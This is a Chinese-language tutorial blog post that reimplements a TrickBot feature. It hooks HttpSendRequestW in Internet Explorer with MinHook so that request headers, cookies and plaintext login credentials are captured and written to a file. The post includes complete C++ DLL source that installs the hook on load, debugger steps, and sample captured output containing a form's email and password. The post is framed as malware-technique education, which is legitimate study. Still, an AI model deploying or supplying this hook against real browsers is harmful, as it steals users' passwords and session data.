在上一篇【Day 09】Hook 的奇妙冒险 - Ring3 Hook 介绍过 Hook 的原理与几个 Hook Library,也拿 Hook MessageBox 为例,知道 Hook 的用法。在 【Day 05】你逆 - 逆向工程工具介绍也介绍过逆向工程的工具,这篇在讲解原理时会使用到 x32dbg。
这篇要继续延伸,开始带入现实世界的 Malware 的攻击技巧,讲解其中的原理并实作 POC。
TrickBot 是 2016 年出现的一支金融木马程序,它用了很多方法去偷一些有价值的资料,包含针对各种浏览器的 cookie、凭证。到了最近它的功能都还有持续在更新,例如在 Microsoft Edge 浏览器出现後,也开始针对 Edge 攻击;原本是针对 Windows 的恶意程序,在 2020 年甚至也支援 Linux 作业系统。
在攻击浏览器方面,TrickBot 使用 Reflective DLL Injection 的技巧,也就是 Reflective Loader。接着 Hook 浏览器所使用的函数,藉此拦截传输的明文机敏资讯。
这篇就要来实作 TrickBot 的其中一个小功能,透过 Hook IE 达到拦截明文密码资讯,并记录到档案中。
打开 IE 和 proc64.exe 後,观察一下 iexplore.exe 这个 Process。我在 IE 开了两个 Tab,所以 iexplore.exe 下会有两个 Child Process。
可以注意到其中总共有三个 iexplore.exe Process,一个是 Parent Process,下面两个是 Child Process。往右边看 Image Type 的地方会发现只有 Parent Process 是 64-bit,Child Process 都是 32-bit。如果 Process Explorer 预设看不到 Image Type,可以在 View => Select Columns => Process Image => Image Type 打勾。
等等要 Hook 的是 Child Process 的部分,因为它们才是真正呼叫传送资料函数的 Process。
目标函数是 wininet.dll 的 HttpSendRequestW,因为目标是 32-bit Process,所以用 x32dbg Attach 後点进 Symbols 找,在左边和右边分别搜寻关键字 wininet 与 HttpSendRequestW。
在 HttpSendRequestExW 按下 F2 下断点,然後在 CPU Tab 按 F9 继续执行。接着在 IE 中随便浏览任何一个网页,以下用 BambooFox 网站举例,顺便宣传一下 BambooFox 社群。
在 IE 中输入网址并按下 Enter 後,可以看到 x32dbg 到了断点的位置。这时看一下 HttpSendRequestW MSDN 对这函数的说明。其中 lpszHeaders 是 Request Header,所以在这个栏位可以看到 Hostname、网页路径、Cookie 等等资料;lpOptional 则通常是放 POST、PUT 参数。
BOOL HttpSendRequestW(
HINTERNET hRequest,
LPCWSTR lpszHeaders,
DWORD dwHeadersLength,
LPVOID lpOptional,
DWORD dwOptionalLength
);
实际用 x32dbg 看看,在右边中间的视窗有 Calling Convention 的参数,分别看第二个 lpszHeaders 和第四个 lpOptional。
以上图来看,第二个参数是 0C802590
,左下角 Memory Dump 那边按下 Ctrl-g 输入这个值就可以看到 Request Header。
再去 BambooFox 登入页面随便输入一组帐号密码,送出後一样会停在断点。这边我输入帐号 [email protected],密码为 password。
然後跟看第二个参数差不多,只是这次是看第四个参数,以上图来看是 12B3D5F0
。一样在 Memory Dump 输入,就可以看到明文的帐号密码。
程序专案可以参考我的 GitHub 专案 zeze-zeze/2021iThome。
#include "pch.h"
#include <Windows.h>
#include "MinHook.h"
#include <WinInet.h>
#include <fstream>
#include <stdio.h>
using namespace std;
#pragma comment(lib, "libMinHook.x86.lib")
// HttpSendRequestW 的函数原型,可以从 MSDN 查到
typedef BOOL (WINAPI* HTTPSENDREQUESTW)(HINTERNET, LPCWSTR, DWORD, LPVOID, DWORD);
HTTPSENDREQUESTW fpHttpSendRequestW = NULL;
// 将资讯写入 debug.txt 档案中
void DebugLog(wstring str) {
wofstream file;
file.open("C:\\debug.txt", std::wofstream::out | std::wofstream::app);
if (file) file << str << endl << endl;
file.close();
}
// 窜改 DetourHttpSendRequestW 的函数
BOOL WINAPI DetourHttpSendRequestW(HINTERNET hRequest,
LPCWSTR lpszHeaders,
DWORD dwHeadersLength,
LPVOID lpOptional,
DWORD dwOptionalLength) {
// 第二个参数是 Request Header,把它写入档案中
if (lpszHeaders) {
DebugLog(lpszHeaders);
}
// 第四个参数通常是 POST、PUT 的参数,把它写入档案中
if (lpOptional) {
wchar_t ws[1000];
swprintf(ws, 1000, L"%hs", (char *)lpOptional);
DebugLog(ws);
}
// 呼叫原本的 HttpSendRequestW
return fpHttpSendRequestW(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);
}
int hook() {
wchar_t log[256];
// 1. 取得 wininet.dll 的 Handle
HINSTANCE hDLL = LoadLibrary(L"wininet.dll");
if (!hDLL) {
DebugLog(L"LoadLibrary wininet.dll failed\n");
return 1;
}
// 2. 从 wininet.dll 找出 HttpSendRequestW 的位址
void* HttpSendRequestW = (void*)GetProcAddress(hDLL, "HttpSendRequestW");
if (!HttpSendRequestW) {
DebugLog(L"GetProcAddress HttpSendRequestW failed\n");
return 1;
}
// 3. Hook HttpSendRequestW,将它窜改成我们自己定义的函数。
// 定义的函数中,会把第二个参数与第四个参数写到档案中,然後呼叫原本的 HtppSendRequestW
if (MH_Initialize() != MH_OK){
DebugLog(L"MH_Initialize failed\n");
return 1;
}
int status = MH_CreateHook(HttpSendRequestW, &DetourHttpSendRequestW, reinterpret_cast<LPVOID*>(&fpHttpSendRequestW));
if (status != MH_OK) {
swprintf_s(log, L"MH_CreateHook failed: Error %d\n", status);
DebugLog(log);
return 1;
}
// 4. 启用 Hook
status = MH_EnableHook(HttpSendRequestW);
if (status != MH_OK) {
swprintf_s(log, L"MH_EnableHook failed: Error %d\n", status);
DebugLog(log);
return 1;
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
hook();
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
注意要编译成 x86 的 DLL,因为目标 Process 是 32-bit。另外这只是个 DLL,还要搭配一个 DLL Injector 才能注入到目标 Process,在【Day 06】致不灭的 DLL - DLL Injection 有讲过 DLL Injection 的实作方法,可以直接拿它改一改做使用,或是直接看我 GitHub 专案 zeze-zeze/2021iThome。
DLL Injection 成功并在网页登入之後,产生的 debug.txt 内容大致如下,里面可以看到我们浏览的网页的 Request Header 和 POST 参数。
Referer: https://bamboofox.cs.nctu.edu.tw/users/sign_in
Accept-Language: en-US,en;q=0.8,zh-Hant-TW;q=0.5,zh-Hant;q=0.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
utf8=%E2%9C%93&authenticity_token=%2FNQem8B8t8EdHhE8vMobTd1jLFit7%2B6SG5qKeK3qjG319vBlzmRlT2qTSmgtNlbjYDuJ8XmY4aBFdtd7y%2BzI1w%3D%3D&user%5Bemail%[email protected]&user%5Bpassword%5D=bbbbbbbbbbbb&user%5Bremember_me%5D=0&commit=Log+in
>>: [Day24]C# 鸡础观念- 物件导向(oop)~建构方法(Constructor)
注:发文日和截图的日期不一定是同一天,所以价格计算上和当日不同,是很正常的。 声明:这一系列文章并无...
.NET 5 Web API 布署到 Linux 上执行的时候,会跑在一个 Kestrel 服务器上...
常用的讯息有以下几类: Toast AlertDialog Toast 是快讯显示的即时计息,几秒内...
前面我们提过了 Bubble sort,这次我们要来从题目来看另一种排序的演算法 —— Insert...
Https 连线网页使用 SSL 加密凭证可以让使用者在网页输入的资料更加安全,减少被截取内容的风险...